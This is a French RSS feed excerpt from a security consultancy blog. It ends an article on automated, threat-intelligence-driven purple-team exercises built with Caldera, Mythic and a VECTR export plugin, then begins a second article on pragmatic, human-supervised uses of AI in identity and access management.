<figure id="attachment_30191" aria-describedby="caption-attachment-30191" style="width: 1205px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30191 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/6-Workflow-dexecution-automatise.png" alt="Workflow d'exécution automatisé" width="1205" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/6-Workflow-dexecution-automatise.png 1205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/6-Workflow-dexecution-automatise-437x141.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/6-Workflow-dexecution-automatise-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/6-Workflow-dexecution-automatise-768x248.png 768w" sizes="auto, (max-width: 1205px) 100vw, 1205px" /><figcaption id="caption-attachment-30191" class="wp-caption-text">Workflow d&rsquo;exécution automatisé</figcaption></figure>
<p style="text-align: justify;">Selon la nature de la technique exécutée, les TTPs sont pris en charge selon l&rsquo;un des <strong>deux modes d&rsquo;exécution</strong> suivants:</p>
<ul>
<li style="text-align: justify;"><strong>Attaques réseau </strong>: les TTPs orientés réseau, tels que <strong>les mouvements latéraux ou les interactions avec des services distants</strong>, sont exécutés par l&rsquo;agent Caldera via <strong>un proxy SOCKS5 exposé par Mythic</strong>. <strong>Le trafic est routé à travers l&rsquo;agent Apollo</strong> à l&rsquo;aide d&rsquo;outils tels que <strong>proxychains</strong>.</li>
</ul>
<figure id="attachment_30193" aria-describedby="caption-attachment-30193" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30193 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/7-Exemple-dability-de-type-attaque-reseau.png" alt="Exemple d’ability de type attaque réseau" width="987" height="638" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/7-Exemple-dability-de-type-attaque-reseau.png 987w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/7-Exemple-dability-de-type-attaque-reseau-295x191.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/7-Exemple-dability-de-type-attaque-reseau-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/7-Exemple-dability-de-type-attaque-reseau-768x496.png 768w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-30193" class="wp-caption-text">Exemple d’ability de type attaque réseau</figcaption></figure>
<ul>
<li style="text-align: justify;"><strong>Attaques exécutées sur l&rsquo;hôte </strong>: les TTPs ciblant directement les systèmes compromis sont <strong>exécutés par les agents Mythic</strong>. Dans ce scénario, <strong>l&rsquo;agent Caldera</strong> s&rsquo;appuie sur <strong>la CLI apollo_exec.py</strong> pour interagir avec <strong>l&rsquo;API Mythic</strong> et transmettre les tâches à <strong>l&rsquo;agent Apollo</strong>, qui se charge d&rsquo;exécuter l&rsquo;action demandée.</li>
</ul>
<figure id="attachment_30195" aria-describedby="caption-attachment-30195" style="width: 764px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30195 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/8-Exemple-dability-de-type-execution-sur-lhote.png" alt="Exemple d’ability de type exécution sur l’hôte" width="764" height="641" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/8-Exemple-dability-de-type-execution-sur-lhote.png 764w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/8-Exemple-dability-de-type-execution-sur-lhote-228x191.png 228w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/8-Exemple-dability-de-type-execution-sur-lhote-46x39.png 46w" sizes="auto, (max-width: 764px) 100vw, 764px" /><figcaption id="caption-attachment-30195" class="wp-caption-text">Exemple d’ability de type exécution sur l’hôte</figcaption></figure>
<p> </p>
<h2 style="text-align: left;">Mesurer objectivement la progression du SOC avec VECTR</h2>
<p style="text-align: justify;">L&rsquo;une des principales limites d&rsquo;outils tels que <strong>Caldera</strong> réside dans leur <strong>conception centrée sur les équipes Red Team</strong>. Bien qu&rsquo;ils excellent dans l&rsquo;orchestration et l&rsquo;exécution d&rsquo;attaques, <strong>ils ne fournissent pas d&rsquo;interface adaptée aux analystes Blue Team pour consulter, enrichir et suivre les résultats des évaluations</strong>. Par conséquent, <strong>l&rsquo;accès aux résultats des exercices Purple Team et leur interprétation peuvent rapidement devenir fastidieux</strong>, en particulier lorsque plusieurs opérations sont menées dans le temps.</p>
<p style="text-align: justify;">Pour répondre à ce besoin, nous avons intégré <strong>VECTR</strong> à notre workflow. <strong>VECTR est une plateforme Purple Team conçue pour centraliser les données d&rsquo;attaque et de détection</strong>, offrant une vision commune <strong>aux équipes Red Team et Blue Team</strong>. En corrélant les actions des adversaires avec les observations défensives, elle permet aux organisations de <strong>mesurer objectivement leurs capacités de détection et d&rsquo;en suivre l&rsquo;évolution dans le temps</strong>.</p>
<p style="text-align: justify;">Afin de faciliter ce processus, <strong>nous avons développé le plugin VECTR pour Caldera</strong>. Une fois déclenché par l&rsquo;opérateur, <strong>le plugin exporte automatiquement les opérations terminées vers VECTR sous forme de campagnes</strong>, permettant <strong>la génération automatique de graphes d&rsquo;attaque et de matrices MITRE ATT&amp;CK </strong>tout en éliminant plusieurs heures de travail de reporting manuel.</p>
<p> </p>
<h3 style="text-align: left;">Plugin VECTR pour Caldera : création de campagnes</h3>
<p style="text-align: justify;">Le plugin étend Caldera en <strong>exportant les opérations terminées sous forme de campagnes VECTR</strong>. Lors du processus d&rsquo;export, le plugin transfère les étapes de l&rsquo;opération, leur statut d&rsquo;exécution, les commandes exécutées, les correspondances avec les techniques MITRE ATT&amp;CK, les timestamps ainsi que les sorties de commandes (stdout/stderr).</p>
<figure id="attachment_30197" aria-describedby="caption-attachment-30197" style="width: 1901px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30197" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA.png" alt="Plugin Vectr pour CALDERA" width="1901" height="706" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA.png 1901w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA-768x285.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/9-Plugin-Vectr-pour-CALDERA-1536x570.png 1536w" sizes="auto, (max-width: 1901px) 100vw, 1901px" /><figcaption id="caption-attachment-30197" class="wp-caption-text">Plugin Vectr pour CALDERA</figcaption></figure>
<p style="text-align: justify;">Le plugin affiche <strong>les opérations Caldera disponibles ainsi que leur statut d&rsquo;exécution</strong>. Une fois une opération terminée, <strong>l&rsquo;opérateur peut déclencher son export vers VECTR en un seul clic</strong> après avoir renseigné les paramètres de connexion. <strong>Le processus d&rsquo;export est exécuté de manière asynchrone </strong>afin de ne pas bloquer le thread d&rsquo;exécution de Caldera.</p>
<figure id="attachment_30199" aria-describedby="caption-attachment-30199" style="width: 1863px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30199" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr.png" alt="Campagne Vectr" width="1863" height="683" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr.png 1863w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr-437x160.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr-768x282.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/10-Campagne-Vectr-1536x563.png 1536w" sizes="auto, (max-width: 1863px) 100vw, 1863px" /><figcaption id="caption-attachment-30199" class="wp-caption-text">Campagne Vectr</figcaption></figure>
<p style="text-align: justify;">Une fois exportée, <strong>l&rsquo;opération apparaît sous la forme d&rsquo;une campagne dans VECTR</strong>. Afin de garantir <strong>l&rsquo;unicité des campagnes</strong> et d&rsquo;assurer la traçabilité entre les deux plateformes, le nom de la campagne est composé du nom de l&rsquo;opération Caldera suivi <strong>des huit premiers caractères de son identifiant</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Plugin VECTR pour Caldera : enrichissement des campagnes</h3>
<p style="text-align: justify;">Chaque ability incluse dans une opération Caldera est <strong>associée à un test case correspondant au sein de la campagne VECTR</strong>. Ainsi, <strong>chaque test case est automatiquement enrichi avec les informations Red Team pertinentes</strong>, notamment la technique ATT&amp;CK associée, le statut d&rsquo;exécution, les timestamps, les commandes exécutées ainsi que les métadonnées opérationnelles :</p>
<figure id="attachment_30201" aria-describedby="caption-attachment-30201" style="width: 899px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30201" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/11-Test-Case-dans-Vectr.png" alt="Test Case dans Vectr" width="899" height="820" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/11-Test-Case-dans-Vectr.png 899w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/11-Test-Case-dans-Vectr-209x191.png 209w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/11-Test-Case-dans-Vectr-43x39.png 43w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/11-Test-Case-dans-Vectr-768x701.png 768w" sizes="auto, (max-width: 899px) 100vw, 899px" /><figcaption id="caption-attachment-30201" class="wp-caption-text">Test Case dans Vectr</figcaption></figure>
<p style="text-align: justify;">Pour les abilities qui ont été exécutées, <strong>les sorties de commandes (stdout/stderr)</strong> sont exportées vers <strong>VECTR</strong> et associées sous forme <strong>de journaux Red Team</strong>. Ces journaux offrent aux analystes <strong>une visibilité détaillée sur les actions réalisées au cours de l&rsquo;évaluation</strong> et peuvent être consultés afin de <strong>mieux comprendre le déroulement de l&rsquo;exécution</strong> ainsi que d&rsquo;identifier d&rsquo;éventuelles opportunités d&rsquo;amélioration des capacités de détection.</p>
<figure id="attachment_30203" aria-describedby="caption-attachment-30203" style="width: 1191px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30203" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr.png" alt="Journaux Red Team dans Vectr" width="1191" height="708" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr.png 1191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr-321x191.png 321w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/12-Journaux-Red-Team-dans-Vectr-768x457.png 768w" sizes="auto, (max-width: 1191px) 100vw, 1191px" /><figcaption id="caption-attachment-30203" class="wp-caption-text">Journaux Red Team dans Vectr</figcaption></figure>
<p> </p>
<h2 style="text-align: left;">Mise en pratique : démonstration de bout en bout</h2>
<p style="text-align: justify;">La vidéo suivante rassemble l&rsquo;ensemble des composants présentés dans cet article et illustre <strong>un workflow automatisé de Purple Team de bout en bout</strong>, depuis l&rsquo;émulation automatisée d&rsquo;adversaires avec <strong>Caldera</strong> et <strong>Mythic</strong> jusqu&rsquo;à la visualisation des activités adverses et des résultats opérationnels dans <strong>VECTR</strong>.</p>
<p> </p>
<p style="text-align: center;"><iframe loading="lazy" title="YouTube video player" src="https://www.youtube-nocookie.com/embed/NmTr0iQy27I?si=3ZsygzHsOmIIOHuU" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p> </p>
<h2 style="text-align: left;">Vers une automatisation complète du Purple Teaming</h2>
<p style="text-align: justify;">Bien que ce workflow réduise considérablement les efforts nécessaires à la réalisation d&rsquo;évaluations Purple Team, une étape manuelle subsiste : <strong>la transformation de la CTI en abilities Caldera exécutables et en profils d&rsquo;adversaires</strong>.</p>
<p style="text-align: justify;">Aujourd&rsquo;hui, ce processus nécessite qu&rsquo;un analyste examine les rapports de CTI, identifie les TTPs pertinents et <strong>implémente manuellement les abilities correspondantes au sein de la bibliothèque d&rsquo;émulation d&rsquo;adversaires</strong>. Bien que ce travail <strong>ne doive être réalisé qu&rsquo;une seule fois pour chaque technique</strong>, il reste <strong>dépendant de l&rsquo;expertise humaine</strong> et peut devenir <strong>chronophage</strong> lorsqu&rsquo;il s&rsquo;agit d&rsquo;opérationnaliser de grands volumes de CTI.</p>
<p style="text-align: justify;">Les travaux futurs porteront sur <strong>l&rsquo;utilisation de l&rsquo;intelligence artificielle</strong> afin d&rsquo;automatiser cette étape. <strong>En combinant les grands modèles de langage (LLMs), la connaissance d&rsquo;ATT&amp;CK et des modèles d’abilities existants</strong>, les rapports de CTI pourraient être <strong>automatiquement transformés en abilities Caldera exécutables</strong>, <strong>accélérant considérablement l&rsquo;opérationnalisation de la CTI </strong>tout en réduisant davantage les efforts nécessaires au maintien d&rsquo;une bibliothèque d&rsquo;émulation d&rsquo;adversaires à jour.</p>
<p style="text-align: justify;">Cette évolution permettrait de <strong>compléter la chaîne d&rsquo;automatisation</strong>, en permettant aux organisations de <strong>passer de l&rsquo;acquisition de la CTI à l&rsquo;émulation automatisée d&rsquo;adversaires et à l&rsquo;évaluation du SOC de manière quasi autonome</strong>.</p>






<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/06/purple-teams-automatises-pilotes-par-la-cti/">Purple Teams automatisés pilotés par la CTI</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/06/purple-teams-automatises-pilotes-par-la-cti/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>IA pour l’IAM : Une trajectoire pragmatique plutôt qu’une révolution</title>
		<link>https://www.riskinsight-wavestone.com/2026/06/ia-pour-liam-une-trajectoire-pragmatique-plutot-quune-revolution/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/06/ia-pour-liam-une-trajectoire-pragmatique-plutot-quune-revolution/#respond</comments>
		
		<dc:creator><![CDATA[Anatole Catherin]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 13:13:34 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Identity]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Access management]]></category>
		<category><![CDATA[AI Governance]]></category>
		<category><![CDATA[AI in Cybersecurity]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IGA]]></category>
		<category><![CDATA[Intelligence Artificielle]]></category>
		<category><![CDATA[Transformation]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=30001</guid>

					<description><![CDATA[<p>1.    L’IA n’est plus un fantasme, c’est une réalité que l’IAM ne doit pas manquer Il y a deux ans, nous posions la question de savoir si l&#8217;IA pouvait constituer une révolution pour l&#8217;IAM dans notre article « L’intelligence artificielle, une...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/06/ia-pour-liam-une-trajectoire-pragmatique-plutot-quune-revolution/">IA pour l’IAM : Une trajectoire pragmatique plutôt qu’une révolution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 style="text-align: justify;">1.    L’IA n’est plus un fantasme, c’est une réalité que l’IAM ne doit pas manquer</h2>
<p style="text-align: justify;">Il y a deux ans, nous posions la question de savoir si l&rsquo;IA pouvait constituer une révolution pour l&rsquo;IAM dans notre article <em>« </em><a href="https://www.riskinsight-wavestone.com/2024/03/lintelligence-artificielle-une-revolution-pour-liam/"><em>L’intelligence artificielle, une révolution pour l’IAM ? &#8211; RiskInsight</em></a> ». Nous insistions déjà sur la nécessité d&rsquo;<strong>une approche nuancée</strong>, fondée sur des <strong>cas d&rsquo;usage concrets</strong>, une logique de <strong>test and learn</strong> et une exigence de <strong>confiance compatible avec les enjeux </strong>propres à l&rsquo;identité et aux accès.</p>
<p style="text-align: justify;">Aujourd&rsquo;hui, le constat a gagné en précision : l&rsquo;IA n&rsquo;a pas provoqué la rupture que certains annonçaient, mais elle commence à y trouver une place <strong>réelle</strong>, plus <strong>ciblée</strong> et surtout plus <strong>pragmatique</strong>.</p>
<p style="text-align: justify;">Ce que l’on observe aussi c’est que l’IA entraine un élargissement du périmètre de l’IAM : l&rsquo;IAM doit désormais aussi traiter les enjeux liés à l&rsquo;IA et aux agents IA. <br />Pour approfondir ce point, nous vous invitons à consulter notre article « <a href="https://www.riskinsight-wavestone.com/2026/04/securiser-les-agents-ia-pourquoi-liam-devient-central/"><em>Sécuriser les agents IA : pourquoi l’IAM devient central &#8211; RiskInsight</em></a> ».</p>
<p style="text-align: justify;">Pour rappel, l&rsquo;intelligence artificielle <strong>s&rsquo;impose progressivement</strong> comme un levier de transformation des systèmes d&rsquo;information, et <strong>l&rsquo;IAM n&rsquo;échappe pas à cette dynamique</strong>. Face à la multiplication des identités portée par des transformations de nature différente, qu&rsquo;il s&rsquo;agisse d&rsquo;évolutions d&rsquo;infrastructure avec le cloud, de changements de vision métier avec l&rsquo;essor du CIAM ou encore de l&rsquo;arrivée de nouvelles technologies comme les agents d&rsquo;IA, les organisations doivent composer avec des modèles d&rsquo;habilitation toujours plus riches et difficiles à maintenir.</p>
<p style="text-align: justify;">Dans ce contexte, l&rsquo;<strong>IA promet de rendre les services IAM plus efficaces et plus accessibles, </strong>qu&rsquo;il s&rsquo;agisse de recommandations intelligentes, d&rsquo;assistants conversationnels, d&rsquo;une meilleure exploitation des données ou du traitement de volumétrie difficilement gérable par des approches classiques.</p>
<p style="text-align: justify;">Toutefois, ces apports appellent à la prudence. L&rsquo;IAM touche directement à la sécurité des accès : à ce stade, <strong>l&rsquo;IA doit y rester un outil d&rsquo;assistance</strong>, sous supervision humaine, car la <strong>responsabilité</strong> ne saurait lui être déléguée. Sur le terrain, elle se manifeste d&rsquo;ailleurs encore majoritairement sous forme de <strong>briques périphériques (copilots, chatbots, agents)</strong> qui viennent enrichir l&rsquo;existant sans bouleverser les fonctions critiques. L&rsquo;enjeu n&rsquo;est donc plus tant de savoir si l&rsquo;IA a sa place en l’IAM, mais d&rsquo;identifier <strong>où et comment l&rsquo;appliquer de manière réellement pertinente</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-30063 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img1_Relation-IA-IAM_2.png" alt="Relation-IA-IAM" width="1459" height="638" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img1_Relation-IA-IAM_2.png 1459w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img1_Relation-IA-IAM_2-437x191.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img1_Relation-IA-IAM_2-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img1_Relation-IA-IAM_2-768x336.png 768w" sizes="auto, (max-width: 1459px) 100vw, 1459px" /></p>
<p> </p>
<h2>2.    Quels cas d’usage IA ont réellement du sens en IAM ?</h2>
<p style="text-align: justify;">Les apports de l&rsquo;IA dans l’IAM sont répartis de manière inégale :</p>
<ul style="text-align: justify;">
<li><strong>L’</strong><strong>​​​​Identity Governance &amp; Administration</strong> (IGA) concentre l&rsquo;essentiel des initiatives grâce à ses volumes de données et ses décisions fréquentes (revues, validations, recommandations)</li>
<li>L&rsquo;<strong>Access Management (AM) </strong>est lui aussi largement mis en avant, avec des projets visant avant tout à accélérer et fluidifier le parcours d&rsquo;authentification des utilisateurs.</li>
<li>Le <strong>Privileged Access Management (PAM) </strong>voit émerger des usages plus ciblés, notamment autour de la détection et de la surveillance des comportements à privilèges.</li>
<li>Le potentiel de l’IA dans le <strong>Customer Identity and Access Management (CIAM)</strong> reste encore relativement peu exploité, alors même qu’il tend à devenir stratégique. Il apparaît notamment dans l’émergence d’agents IA capables d’interagir ou d’agir pour le compte des utilisateurs, en particulier via des chatbots.</li>
<li>L’IA présente aujourd’hui une valeur limitée pour les <strong>Trust Services</strong>, dont les processus sont déjà largement automatisables sans IA, et se positionne davantage en support périphérique</li>
</ul>
<p style="text-align: justify;">Pour structurer ces initiatives sans tomber dans l&rsquo;effet catalogue, deux grandes familles de cas d&rsquo;usage se distinguent :</p>
<ol style="text-align: justify;">
<li>Ceux qui visent <strong>à résoudre des irritants connus</strong> dans les processus existants</li>
<li>Ceux qui permettent de traiter des problématiques <strong>que les approches traditionnelles ne parviennent pas à adresser</strong>.</li>
</ol>
<h3 style="text-align: justify;">La valeur de l’IA émerge d’abord des irritants actuels de l’IAM…</h3>
<p style="text-align: justify;">Cette première famille de cas d’usage constitue généralement <strong>le point d’entrée le plus naturel</strong>, car elle s’appuie sur des processus IAM déjà en place.</p>
<p style="text-align: justify;">L’IA y joue alors <strong>un rôle d’accélérateur</strong>, en <strong>réduisant les coûts et la charge opérationnelle</strong>, tout en <strong>améliorant l’expérience</strong>, <strong>la qualité de service et la rapidité d’exécution</strong>, sans remettre en cause le modèle de contrôle.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-30074 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img2_Cas-dusage-de-lIA_2.png" alt="Cas d'usage de l'IA" width="1271" height="698" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img2_Cas-dusage-de-lIA_2.png 1271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img2_Cas-dusage-de-lIA_2-348x191.png 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img2_Cas-dusage-de-lIA_2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img2_Cas-dusage-de-lIA_2-768x422.png 768w" sizes="auto, (max-width: 1271px) 100vw, 1271px" /></p>
<p style="text-align: justify;">…pour devenir un levier permettant de dépasser les limites des approches traditionnelles</p>
<p style="text-align: justify;">La seconde famille de cas d&rsquo;usage relève d&rsquo;un registre différent : l&rsquo;IA n&rsquo;y vise plus seulement un gain de temps, mais <strong>ouvre des capacités d&rsquo;analyse inaccessibles aux approches classiques,</strong> en croisant de multiples signaux (identité, organisation, droits, usage, événements) sur des volumes importants. Elle permet <strong>notamment de détecter à grande échelle des accès atypiques</strong>, tels que des combinaisons rares de droits, des habilitations incohérentes avec une fonction ou des accumulations liées à des exceptions successives.</p>
<p style="text-align: justify;">L&rsquo;IA rend également possible l&rsquo;analyse de trajectoires d&rsquo;habilitation, en identifiant comment certains profils dérivent au fil des mobilités, projets ou urgences, afin de cibler les actions de remédiation. Elle permet aussi une priorisation intelligente de ces remédiations en combinant criticité des applications, sensibilité des données et signaux d&rsquo;usage, tandis que dans le domaine du PAM, des usages émergents visent à repérer des comportements à privilèges inhabituels pour déclencher des contrôles renforcés.</p>
<p style="text-align: justify;">Enfin, cela ouvre également la voie à une délégation de tâches à plus faible valeur ajoutée, comme le traitement de tickets de niveau 1, pour lesquelles l&rsquo;automatisation était techniquement envisageable mais économiquement difficile à justifier. Aujourd&rsquo;hui, certaines solutions IAM <strong>« boostées » à l’IA</strong> rendent cette substitution réaliste et accessible.</p>
<p style="text-align: justify;">La multiplication des irritants et des pistes d’automatisation ne doit pas pour autant conduire à déployer l’IA de manière indiscriminée. Certains besoins se traitent efficacement à l’aide de règles ou d’algorithmes simples, et dès lors que l’on touche aux accès, chaque erreur potentielle comporte un risque de sécurité. Il est donc essentiel, une fois les cas d’usage identifiés, de les sélectionner et de les prioriser, plutôt que d’accumuler les initiatives.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">3.    Prioriser l’IA dans l’IAM avant qu’elle ne devienne un empilement d’initiatives</h2>
<p style="text-align: justify;">Une fois les cas d’usage pertinents identifiés, il convient de déterminer ceux sur lesquels concentrer les efforts, car tous ne justifient pas le même niveau d’investissement. La priorisation peut ainsi s’appuyer sur deux axes clés : <strong>la valeur ajoutée</strong> et la <strong>complexité de mise en œuvre</strong>.</p>
<p style="text-align: justify;"><strong>La difficulté réside ici dans la capacité à analyser rigoureusement ces deux axes pour chaque cas d&rsquo;usage.</strong></p>
<p style="text-align: justify;">Le premier axe, relatif à <strong>la valeur</strong>, peut ainsi être appréhendé à travers plusieurs sous critères :</p>
<ul style="text-align: justify;">
<li><strong>La réduction des coûts opérationnels : </strong><em>mesurer comment le cas d’usage permet d’éviter certains coûts récurrents</em></li>
<li><strong>Les gains d&rsquo;efficacité et la réaffectation des efforts : </strong><em>la capacité à libérer du temps et à réorienter les équipes vers des tâches à plus </em><em>forte valeur ajoutée.</em></li>
<li><strong>La diminution du risque cyber: </strong><em>l&rsquo;impact du cas d&rsquo;usage sur la réduction d&rsquo;un risque identifié en matière de cybersécurité, d&rsquo;informatique ou de contrôle</em></li>
<li><strong>La contribution aux enjeux réglementaires et stratégiques</strong> : <em>dans quelle mesure le cas d&rsquo;usage répond à une attente réglementaire ou stratégique prioritaire (par exemple, DORA, BCE, audits)</em></li>
<li><strong>L’impact sur les populations concernées</strong> : <em>apprécier à qui le cas d’usage rend service et avec quelle fréquence d’usage, car un usage modeste mais mobilisé au quotidien par un grand nombre d’utilisateurs peut créer plus de valeur qu’un cas d’usage plus ambitieux mais limité à un périmètre restreint. Les principales populations à considérer sont généralement les administrateurs IAM, les intégrateurs IAM, les utilisateurs finaux et les managers approbateurs.</em></li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-30072 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2.png" alt="Impact des personas sur la valeur d'un cas d'usage" width="1321" height="742" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2.png 1321w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2-768x431.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/FR_img3_Impact-des-personas-sur-la-valeur-dun-cas-dusage_2-800x450.png 800w" sizes="auto, (max-width: 1321px) 100vw, 1321px" /></p>
<p style="text-align: justify;">Le second axe, <strong>la complexité</strong> peut être évaluée selon quatre dimensions complémentaires. Elle inclut :</p>
<ul style="text-align: justify;">
<li><strong>L&rsquo;exploitation des données</strong> : <em>dans quelle mesure les données nécessaires au cas d&rsquo;usage sont disponibles, de qualité suffisante et accessibles dans des conditions compatibles avec sa mise en œuvre.</em></li>
<li><strong>La complexité technique</strong> : <em>l&rsquo;effort technologique requis pour déployer le cas d&rsquo;usage, qu&rsquo;il s&rsquo;agisse des intégrations, de l&rsquo;architecture, des modèles d&rsquo;IA mobilisés ou des dépendances vis-à-vis du système d&rsquo;information existant.</em></li>
<li><strong>La complexité organisationnelle</strong> : <em>le niveau de coordination nécessaire entre les équipes, les périmètres et les processus pour porter le cas d&rsquo;usage de manière effective.</em></li>
<li><strong>Les risques associés</strong> : <em>les risques cyber, réglementaires ou opérationnels susceptibles d&rsquo;être introduits ou renforcés par la mise en œuvre du cas d&rsquo;usage. </em></li>
</ul>
<p style="text-align: justify;">Pour rappel, cette approche vise avant tout à <strong>guider la réflexion et à structurer les arbitrages</strong>, et n’est qu’une proposition qui doit donc être <strong>adaptée à chaque contexte</strong>.</p>
<p style="text-align: justify;">Les cas d’usage à fort impact mais rapides à déployer doivent être privilégiés. À l’inverse, ceux mobilisant des efforts importants (données indisponibles, intégrations complexes, exigences de sécurité élevées) pour un bénéfice limité doivent être écartés ou différés. Pour rendre l’arbitrage concret, une logique “matrice” fonctionne bien :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-30068 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4.png" alt="How to prioritise use cases to develop" width="1321" height="743" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4.png 1321w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4-768x432.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/EN_img4_How-to-prioritise-use-cases-to-develop_4-800x450.png 800w" sizes="auto, (max-width: 1321px) 100vw, 1321px" /></p>
